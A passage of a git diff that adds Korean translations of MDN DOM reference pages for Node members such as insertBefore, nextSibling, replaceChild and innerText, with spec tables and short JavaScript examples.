+   <td>Removed the following properties: <code>attributes</code>, <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br>
+    Removed the following methods: <code>isSupported()</code>, <code>hasAttributes()</code>, <code>isSameNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>The methods <code>insertBefore()</code>, <code>replaceChild()</code>, <code>removeChild()</code>, and <code>appendChild()</code> returns one more kind of error (<code>NOT_SUPPORTED_ERR</code>) if called on a {{domxref("Document")}}.<br>
+    The <code>normalize()</code> method has been modified so that {{domxref("Text")}} node can also be normalized if the proper {{domxref("DOMConfiguration")}} flag is set.<br>
+    Added the following methods: <code>compareDocumentPosition()</code>, <code>isSameNode()</code>, <code>lookupPrefix()</code>, <code>isDefaultNamespace()</code>, <code>lookupNamespaceURI()</code>, <code>isEqualNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData().</code><br>
+    Added the following properties: <code>baseURI</code> and <code>textContent</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>The <code>ownerDocument</code> property was slightly modified so that {{domxref("DocumentFragment")}} also returns <code>null</code>.<br>
+    Added the following properties: <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br>
+    Added the following methods: <code>normalize()</code>, <code>isSupported()</code> and <code>hasAttributes()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Node")}}</p>
diff --git a/files/ko/web/api/node/innertext/index.html b/files/ko/web/api/node/innertext/index.html
new file mode 100644
index 0000000000..414fab5c00
--- /dev/null
+++ b/files/ko/web/api/node/innertext/index.html
@@ -0,0 +1,88 @@
+---
+title: Node.innerText
+slug: Web/API/Node/innerText
+tags:
+  - API
+  - DOM
+  - HTMLElement
+  - Property
+  - Reference
+translation_of: Web/API/HTMLElement/innerText
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">{{domxref("HTMLElement")}} 인터페이스의 <code><strong>innerText</strong></code> 속성은 요소와 그 자손의 렌더링 된 텍스트 콘텐츠를 나타냅니다.</span> <code>innerText</code>는 사용자가 커서를 이용해 요소의 콘텐츠를 선택하고 클립보드에 복사했을 때 얻을 수 있는 텍스트의 근삿값을 제공합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>innerText</code>는 {{domxref("Node.textContent")}}와 혼동하기 쉬우나 중요한 차이점을 가지고 있습니다. 기본적으로, <code>innerText</code>는 텍스트의 렌더링 후 모습을 인식할 수 있지만 <code>textContent</code>는 그렇지 않습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre>const renderedText = <em>htmlElement</em>.innerText
+<em>htmlElement</em>.innerText = <em>string</em>
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>요소의 렌더링 된 텍스트 콘텐츠를 나타내는 {{domxref("DOMString")}}. 요소 자체가 <a href="https://html.spec.whatwg.org/multipage/rendering.html#being-rendered">렌더링 중</a>이 아니라면 {{domxref("Node.textContent")}} 속성의 값과 동일합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 <code>innerText</code>와 {{domxref("Node.textContent")}}를 비교합니다. <code>innerText</code>가 {{htmlElement("br")}} 태그를 인식하고, 숨겨진 요소를 무시하는 점에 주목하세요.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;h3&gt;원본 요소:&lt;/h3&gt;
+&lt;p id="source"&gt;
+  &lt;style&gt;#source { color: red; }&lt;/style&gt;
+아래에서&lt;br&gt;이 글을&lt;br&gt;어떻게 인식하는지 살펴보세요.
+  &lt;span style="display:none"&gt;숨겨진 글&lt;/span&gt;
+&lt;/p&gt;
+&lt;h3&gt;textContent 결과:&lt;/h3&gt;
+&lt;textarea id="textContentOutput" rows="6" cols="30" readonly&gt;...&lt;/textarea&gt;
+&lt;h3&gt;innerText 결과:&lt;/h3&gt;
+&lt;textarea id="innerTextOutput" rows="6" cols="30" readonly&gt;...&lt;/textarea&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">const source = document.getElementById('source');
+const textContentOutput = document.getElementById('textContentOutput');
+const innerTextOutput = document.getElementById('innerTextOutput');
+
+textContentOutput.innerHTML = source.textContent;
+innerTextOutput.innerHTML = source.innerText;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", 700, 450)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Introduced, based on the <a href="https://github.com/rocallahan/innerText-spec">draft of the innerText specification</a>. See <a href="https://github.com/whatwg/html/issues/465">whatwg/html#465</a> and <a href="https://github.com/whatwg/compat/issues/5">whatwg/compat#5</a> for history.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.innerText")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.outerText")}}</li>
+ <li>{{domxref("Element.innerHTML")}}</li>
+</ul>
diff --git a/files/ko/web/api/node/insertbefore/index.html b/files/ko/web/api/node/insertbefore/index.html
new file mode 100644
index 0000000000..a3a0782745
--- /dev/null
+++ b/files/ko/web/api/node/insertbefore/index.html
@@ -0,0 +1,167 @@
+---
+title: Node.insertBefore()
+slug: Web/API/Node/insertBefore
+translation_of: Web/API/Node/insertBefore
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p><code><strong>Node.insertBefore()</strong></code> 메소드는 참조된 노드 앞에 특정 부모 노드의 자식 노드를 삽입합니다. 만약 주어진 자식 노드가 document에 존재하는 노드를 참조한다면, <code>insertBefore()</code> 가 자식 노드를 현재 위치에서 새로운 위치로 옮깁니다. (노드를 다른 노드에 추가하기 전에 상위 노드에서 제거할 필요가 없습니다)</p>
+
+<p>이것은 노드가 document에 동시에 두 곳에 존재할 수 없다는 것을 의미합니다. 그러므로 노드가 이미 부모를 가지고 있다면, 노드가 제거된 뒤에 새로운 위치에 삽입됩니다. {{domxref("Node.cloneNode()")}} 로 노드를 새로운 부모 아래에 추가하기 전에 복사본을 만들수 있습니다. <code>cloneNode</code> 로 만들어진 복사본들은 자동으로 동기화 상태를 유지하지 않는다는 것을 알아두십시오.</p>
+
+<p>만약 참조 노드가 <code>null</code> 이라면, 노드는 부모 노드의 자식 노드 리스트 맨 끝에 추가됩니다.</p>
+
+<p>만약 자식 노드가 {{domxref("DocumentFragment")}} 이라면, {{domxref("DocumentFragment")}} 의 콘텐츠 전체는 부모 노드의 자식 리스트로 이동됩니다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>insertedNode</em> = <em>parentNode</em>.insertBefore(<em>newNode</em>, <em>referenceNode</em>);
+</pre>
+
+<p><code><var>referenceNode</var></code> 가 <code>null</code> 이라면, <code><var>newNode</var></code> 가 자식 노드의 리스트의 끝에 삽입됩니다.</p>
+
+<div class="note">
+<p><em><code>referenceNode</code></em> 는 <strong>선택 인자가 아닙니다.</strong> -- 명시적으로 <code>Node</code> 나 <code>null</code> 를 전달해야 합니다. 전달하지 않거나 잘못된 값을 전달하면 브라우저 버전에 따라 다른 결과를 얻게 됩니다.</p>
+</div>
+
+<h2 id="Returns" name="Returns">Returns</h2>
+
+<p>반환값은 추가된 자식 노드입니다. 다만 <code>newNode</code> 가 {{domxref("DocumentFragment")}} 일 경우, 빈 {{domxref("DocumentFragment")}} 이 반환됩니다.</p>
+
+<h2 id="Example_1" name="Example_1">Example 1</h2>
+
+<pre class="brush: html">&lt;div id="parentElement"&gt;
+   &lt;span id="childElement"&gt;foo bar&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+// Create the new node to insert
+var newNode = document.createElement("span");
+
+// Get a reference to the parent node
+var parentDiv = document.getElementById("childElement").parentNode;
+
+// Begin test case [ 1 ] : Exist a childElement --&gt; All working correctly
+var sp2 = document.getElementById("childElement");
+parentDiv.insertBefore(newNode, sp2);
+// End test case [ 1 ]
+
+// Begin test case [ 2 ] : childElement is of Type undefined
+var sp2 = undefined; // Not exist a node of id "childElement"
+parentDiv.insertBefore(newNode, sp2); // Implicit dynamic cast to type Node
+// End test case [ 2 ]
+
+// Begin test case [ 3 ] : childElement is of Type "undefined" ( string )
+var sp2 = "undefined"; // Not exist a node of id "childElement"
+parentDiv.insertBefore(newNode, sp2); // Generate "Type Error: Invalid Argument"
+// End test case [ 3 ]
+&lt;/script&gt;</pre>
+
+<ul>
+ <li><code>insertedNode</code> The node being inserted, that is <code>newNode</code></li>
+ <li><code>parentNode</code> The parent of the newly inserted node.</li>
+ <li><code>newNode</code> The node to be inserted.</li>
+ <li><code>referenceNode</code> The node before which <code>newNode</code> is inserted.</li>
+</ul>
+
+<h2 id="Example_2" name="Example_2">Example 2</h2>
+
+<pre class="brush:html">&lt;div id="parentElement"&gt;
+  &lt;span id="childElement"&gt;foo bar&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+// Create a new, plain &lt;span&gt; element
+var sp1 = document.createElement("span");
+
+// Get a reference to the element, before we want to insert the element
+var sp2 = document.getElementById("childElement");
+// Get a reference to the parent element
+var parentDiv = sp2.parentNode;
+
+// Insert the new element into the DOM before sp2
+parentDiv.insertBefore(sp1, sp2);
+&lt;/script&gt;
+</pre>
+
+<p>There is no <code>insertAfter</code> method. It can be emulated by combining the <code>insertBefore</code> method with <code><a href="/en-US/docs/DOM/Node.nextSibling" title="DOM/Node.nextSibling">nextSibling</a></code>.</p>
+
+<p>In the previous example, <code>sp1</code> could be inserted after <code>sp2</code> using:</p>
+
+<pre class="brush: js"><code>parentDiv.insertBefore(sp1, sp2.nextSibling);</code></pre>
+
+<p>If <code>sp2</code> does not have a next sibling, then it must be the last child — <code>sp2.nextSibling</code> returns <code>null</code>, and <code>sp1</code> is inserted at the end of the child node list (immediately after <code>sp2</code>).</p>
+
+<h2 id="Example_3" name="Example_3">Example 3</h2>
+
+<p>Insert an element before the first child element, using the <a href="/en-US/docs/DOM/Node.firstChild" title="Node.firstChild">firstChild</a> property.</p>
+
+<pre class="brush:js">// Get a reference to the element in which we want to insert a new node
+var parentElement = document.getElementById('parentElement');
+// Get a reference to the first child
+var theFirstChild = parentElement.firstChild;
+
+// Create a new element
+var newElement = document.createElement("div");
+
+// Insert the new element before the first child
+parentElement.insertBefore(newElement, theFirstChild);
+</pre>
+
+<p>When the element does not have a first child, then <code>firstChild</code> is <code>null</code>. The element is still appended to the parent, after the last child. Since the parent element did not have a first child, it did not have a last child either. Consequently, the new element is the only element, after insertion.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Node.insertBefore")}}</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-node-insertbefore','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Fixes errors in the insertion algorithm</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4','#dom-node-insertbefore','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Describes the algorithm in more detail</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#ID-952280727','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No notable changes</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','core.html#ID-952280727','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No notable changes</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','level-one-core.html#method-insertBefore','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Introduced</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild()")}}</li>
+ <li>{{domxref("Node.replaceChild()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.hasChildNodes()")}}</li>
+ <li>{{domxref("Element.insertAdjacentElement()")}}</li>
+ <li>{{domxref("ParentNode.prepend()")}}</li>
+</ul>
diff --git a/files/ko/web/api/node/lastchild/index.html b/files/ko/web/api/node/lastchild/index.html
new file mode 100644
index 0000000000..158ffdab32
--- /dev/null
+++ b/files/ko/web/api/node/lastchild/index.html
@@ -0,0 +1,25 @@
+---
+title: element.lastChild
+slug: Web/API/Node/lastChild
+tags:
+  - DOM
+  - Gecko
+  - Gecko DOM Reference
+translation_of: Web/API/Node/lastChild
+---
+<p>{{ ApiRef() }}</p>
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
+<p><b>lastChild</b>는 노드의 마지막 자식을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8.EA.B3.BC_.EA.B0.92" name=".EA.B5.AC.EB.AC.B8.EA.B3.BC_.EA.B0.92">구문과 값</h3>
+<pre class="eval"><i>last_child</i> = element.lastChild
+</pre>
+<p>반환되는 <code>last_child</code>는 노드입니다. 노드의 부모가 요소이면, 자식은 보통 요소 노드, 텍스트 노드, 주석 노드입니다.</p>
+<h3 id=".EC.98.88" name=".EC.98.88">예</h3>
+<pre>var tr = document.getElementById("row1");
+corner_td = tr.lastChild;
+</pre>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>자식 요소가 없으면 <code>null</code>을 반환합니다.</p>
+<h3 id=".EB.AA.85.EC.84.B8" name=".EB.AA.85.EC.84.B8">명세</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-61AD09FB">lastChild </a></p>
+<p>{{ languages( { "en": "en/DOM/element.lastChild", "fr": "fr/DOM/element.lastChild", "pl": "pl/DOM/element.lastChild" } ) }}</p>
diff --git a/files/ko/web/api/node/nextsibling/index.html b/files/ko/web/api/node/nextsibling/index.html
new file mode 100644
index 0000000000..8627bd096b
--- /dev/null
+++ b/files/ko/web/api/node/nextsibling/index.html
@@ -0,0 +1,83 @@
+---
+title: Node.nextSibling
+slug: Web/API/Node/nextSibling
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Node
+  - Property
+translation_of: Web/API/Node/nextSibling
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+
+<div> </div>
+</div>
+
+<p><span id="result_box" lang="ko"><span>읽기 전용 속성인 <code><strong>Node.nextSibling</strong></code> 은 부모의</span></span> {{domxref("Node.childNodes","childNodes")}} <span lang="ko"><span>목록에서 지정된 노드 바로 다음에 있는 노드를 반환하거나 지정된 노드가 해당 목록의 마지막 노드이면 <code>null</code> 값을 반환합니다.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>nextNode</var> = <var>node</var>.nextSibling
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p></p><p>Gecko 기반 브라우저는 소스 마크업에서 공백을 나타내기 위해 문서 내에 텍스트 노드를 삽입합니다.
+    그러므로 예를 들어 <a href="/ko/docs/Web/API/Node/firstChild" title="트리에서 노드의 첫 번째 자식이나 null(노드가 자식이 없으면)을 반환합니다."><code>Node.firstChild</code></a>나 <a href="/ko/docs/Web/API/Node/previousSibling" title="Node.previousSibling은 읽기전용 속성이며 현재 호출하는 노드가 속해 있는 부모의 childNodes 목록에서 특정 자식 노드를 리턴하거나 childNodes 목록의 첫번째 노드일 경우 Null값을 리턴합니다."><code>Node.previousSibling</code></a>을 통해서 얻은 노드는 작성자가 얻으려 한 실제 요소와는
+    달리 공백 텍스트 노드를 참조할 지도 모릅니다. </p>
+
+    <p>더 많은 정보는 <a class="new" href="/ko/docs/Whitespace_in_the_DOM" rel="nofollow">Whitespace in the DOM</a>과
+    <a class="external" href="http://www.w3.org/DOM/faq.html#emptytext" rel="noopener">W3C DOM 3 FAQ: Why are some Text nodes empty?</a>를 보세요.</p><p></p>
+
+<div> </div>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:html">&lt;div id="div-01"&gt;Here is div-01&lt;/div&gt;
+&lt;div id="div-02"&gt;Here is div-02&lt;/div&gt;
+
+&lt;script type="text/javascript"&gt;
+var el = document.getElementById('div-01').nextSibling,
+    i = 1;
+
+console.log('Siblings of div-01:');
+
+while (el) {
+  console.log(i + '. ' + el.nodeName);
+  el = el.nextSibling;
+  i++;
+}
+
+&lt;/script&gt;
+
+/**************************************************
+   <span class="short_text" id="result_box" lang="ko"><span>로드될 때 다음과 같이 콘솔에 기록됩니다.</span></span> :
+
+     Siblings of div-01
+
+      1. #text
+      2. DIV
+      3. #text
+      4. SCRIPT
+
+**************************************************/
+</pre>
+
+<p>위의 예에서 <code>#text</code> 노드는 태그 사이의 마크 업 에서 공백이 발생하는 DOM에 삽입되며 ( 즉 요소의 닫기 태그와 다음 태그의 열기 태그 사이에 있습니다 ) <code>document.write</code> 구문에 의해 삽입 된 요소간에 공백이 생성되지 않습니다.</p>
+
+<p><span id="result_box" lang="ko"><span><code>nextSibling</code> 을 사용하여 DOM을 탐색 할 때, DOM에 텍스트 노드를 포함시킬 수 있어야 합니다.</span> <span>노트 섹션의 리소스를 참조하세요.</span></span></p>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-nextSibling">DOM Level 1 Core: nextSibling</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-6AC54C2F">DOM Level 2 Core: nextSibling</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Element.nextElementSibling")}}</li>
+</ul>
diff --git a/files/ko/web/api/node/normalize/index.html b/files/ko/web/api/node/normalize/index.html
new file mode 100644
index 0000000000..dca132296c
--- /dev/null
+++ b/files/ko/web/api/node/normalize/index.html
@@ -0,0 +1,56 @@
+---
+title: Node.normalize()
+slug: Web/API/Node/normalize
+tags:
+  - API
+  - DOM
+  - NeedsSpecTable
+  - 노드
+  - 레퍼런스
+  - 메소드
+translation_of: Web/API/Node/normalize
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p><code><strong>Node.normalize()</strong></code> 메소드는 지정된 노드와 하위 트리의 모든 노드를 "정규화된" 형태로 놓습니다. 정규화된 하위 트리의 텍스트 노드는 비어있지 않으며 인접한 텍스트 노드도 존재하지 않습니다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><em>element</em>.normalize();
+</pre>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush:js">var wrapper = document.createElement("div");
+
+wrapper.appendChild( document.createTextNode("Part 1 ") );
+wrapper.appendChild( document.createTextNode("Part 2 ") );
+
+// 이 때, wrapper.childNodes.length === 2
+// wrapper.childNodes[0].textContent === "Part 1 "
+// wrapper.childNodes[1].textContent === "Part 2 "
+
+wrapper.normalize();
+
+// 이제, wrapper.childNodes.length === 1
+// wrapper.childNodes[0].textContent === "Part 1 Part 2 "</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-normalize">DOM Level 2 Core: Node.normalize</a></li>
+</ul>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Node.normalize")}}</p>
+
+<h2 id="See_also" name="See_also">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Text/splitText" title="DOM/Text.splitText"><code>Text.splitText</code></a></li>
+</ul>
diff --git a/files/ko/web/api/node/ownerdocument/index.html b/files/ko/web/api/node/ownerdocument/index.html
new file mode 100644
index 0000000000..b3aced6728
--- /dev/null
+++ b/files/ko/web/api/node/ownerdocument/index.html
@@ -0,0 +1,63 @@
+---
+title: Node.ownerDocument
+slug: Web/API/Node/ownerDocument
+translation_of: Web/API/Node/ownerDocument
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>Node.ownerDocument</strong></code> 읽기 전용 속성은 이 node 의 최상위 document 객체를 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>document</var> = <var>element</var>.ownerDocument
+</pre>
+
+<ul>
+ <li><code>document</code> 는 element 의 부모 <a href="/en-US/docs/DOM/document"><code>document</code></a> 객체입니다.</li>
+</ul>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush:js">// given a node "p", get the top-level HTML child
+// of the document object
+
+var d = p.ownerDocument;
+var html = d.documentElement;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>이 속성에 의해 반환된<code>document</code> 객체는 실제 HTML 문서의 모든 child 노드들이 생성되는 메인 객체입니다. 이 속성이 document 그 자체 노드에서 사용될 경우, 결과는 <code>null</code> 이 됩니다. </p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-node-ownerdocument", "Node.ownerDocument")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#node-ownerDoc", "Node.ownerDocument")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#node-ownerDoc", "Node.ownerDocument")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Node.ownerDocument")}}</p>
diff --git a/files/ko/web/api/node/previoussibling/index.html b/files/ko/web/api/node/previoussibling/index.html
new file mode 100644
index 0000000000..642b896748
--- /dev/null
+++ b/files/ko/web/api/node/previoussibling/index.html
@@ -0,0 +1,42 @@
+---
+title: Node.previousSibling
+slug: Web/API/Node/previousSibling
+translation_of: Web/API/Node/previousSibling
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p><code><strong>Node.previousSibling</strong>은 읽기전용 속성이며 현재 호출하는 노드가 속해 있는 부모의 </code>{{domxref("Node.childNodes", "childNodes")}}<code> 목록에서 특정 자식 노드를 리턴하거나 </code>childNodes <code>목록의 첫번째 노드일 경우 Null값을 리턴합니다.</code></p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>previousNode</var> = <em>node</em>.previousSibling;
+</pre>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">// &lt;a&gt;&lt;b1 id="b1"/&gt;&lt;b2 id="b2"/&gt;&lt;/a&gt;
+
+alert(document.getElementById("b1").previousSibling); // null
+alert(document.getElementById("b2").previousSibling.id); // "b1"
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p></p><p>Gecko 기반 브라우저는 소스 마크업에서 공백을 나타내기 위해 문서 내에 텍스트 노드를 삽입합니다.
+    그러므로 예를 들어 <a href="/ko/docs/Web/API/Node/firstChild" title="트리에서 노드의 첫 번째 자식이나 null(노드가 자식이 없으면)을 반환합니다."><code>Node.firstChild</code></a>나 <a href="/ko/docs/Web/API/Node/previousSibling" title="Node.previousSibling은 읽기전용 속성이며 현재 호출하는 노드가 속해 있는 부모의 childNodes 목록에서 특정 자식 노드를 리턴하거나 childNodes 목록의 첫번째 노드일 경우 Null값을 리턴합니다."><code>Node.previousSibling</code></a>을 통해서 얻은 노드는 작성자가 얻으려 한 실제 요소와는
+    달리 공백 텍스트 노드를 참조할 지도 모릅니다. </p>
+
+    <p>더 많은 정보는 <a class="new" href="/ko/docs/Whitespace_in_the_DOM" rel="nofollow">Whitespace in the DOM</a>과
+    <a class="external" href="http://www.w3.org/DOM/faq.html#emptytext" rel="noopener">W3C DOM 3 FAQ: Why are some Text nodes empty?</a>를 보세요.</p><p></p>
+
+<p>To navigate the opposite way through the child nodes list use <a href="/en-US/docs/Web/API/Node.nextSibling" title="DOM/Node.nextSibling">Node.nextSibling</a>.</p>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-previousSibling">DOM Level 1 Core: previousSibling</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-640FB3C8">DOM Level 2 Core: previousSibling</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-640FB3C8">DOM Level 3 Core: previousSibling</a></li>
+</ul>
diff --git a/files/ko/web/api/node/replacechild/index.html b/files/ko/web/api/node/replacechild/index.html
new file mode 100644
index 0000000000..b058cc4c99
--- /dev/null
+++ b/files/ko/web/api/node/replacechild/index.html
@@ -0,0 +1,71 @@
+---
+title: Node.replaceChild()
+slug: Web/API/Node/replaceChild
+tags:
+  - 노드 교체
+  - 돔 조작
+  - 자바스크립트
+translation_of: Web/API/Node/replaceChild
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p><strong><code>Node.replaceChild()</code></strong> 메소드는 특정 부모 노드의 한 자식 노드를  다른 노드로 교체합니다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>replacedNode</em> = <em>parentNode</em>.replaceChild(<em>newChild</em>, <em>oldChild</em>);
+</pre>
+
+<ul>
+ <li><code>newChild는 oldChild를 교체할 새로운 노드입니다. 만약 이미 </code>DOM<code> 안에 존재한다면 가장 먼저 제거됩니다.</code></li>
+ <li><code>oldChild는 이미 존재하는, 교체될 자식 노드입니다.</code></li>
+ <li><code>replacedNode는 교체된 노드입니다. oldChild와 동일한 노드입니다.</code></li>
+</ul>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">// &lt;div&gt;
+//  &lt;span id="childSpan"&gt;foo bar&lt;/span&gt;
+// &lt;/div&gt;
+
+// 텅빈 요소 노드를 하나 생성합니다.
+// ID도, 속성도, 컨텐츠도 없습니다.
+var sp1 = document.createElement("span");
+
+// 'newSpan'이란 id 속성을 부여합니다.
+sp1.id = "newSpan";
+
+// 새로운 요소를 위한 컨텐츠를 생성합니다.
+var sp1_content = document.createTextNode("new replacement span element.");
+
+// 컨텐츠를 생성한 요소에 붙입니다.
+sp1.appendChild(sp1_content);
+
+// DOM에 존재하던, 교체되야할 노드를 참조합니다.
+var sp2 = document.getElementById("childSpan");
+var parentDiv = sp2.parentNode;
+
+// 이미 존재하던 sp2 노드를 새로운 span 요소인 sp1으로 교체합니다.
+parentDiv.replaceChild(sp1, sp2);
+
+// 결과:
+// &lt;div&gt;
+//   &lt;span id="newSpan"&gt;new replacement span element.&lt;/span&gt;
+// &lt;/div&gt;
+</pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-replaceChild">DOM Level 1 Core: replaceChild</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-785887307">DOM Level 2 Core: replaceChild</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-785887307">DOM Level 3 Core: replaceChild</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild")}}</li>
+</ul>
diff --git a/files/ko/web/api/node/textcontent/index.html b/files/ko/web/api/node/textcontent/index.html
new file mode 100644
index 0000000000..f9b1798a96
--- /dev/null
+++ b/files/ko/web/api/node/textcontent/index.html
@@ -0,0 +1,111 @@
+---
+title: Node.textContent
+slug: Web/API/Node/textContent
+tags:
+  - API
+  - DOM
+  - Node
+  - Property
+  - Reference
+translation_of: Web/API/Node/textContent
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{domxref("Node")}} 인터페이스의 <code><strong>textContent</strong></code> 속성은 노드와 그 자손의 텍스트 콘텐츠를 표현합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>textContent</code>와 {{domxref("HTMLElement.innerText")}}가 자주 혼동되곤 하지만, 두 속성에는 {{anch("innerText와의 차이점", "몇 가지 중요한 차이점")}}이 있습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
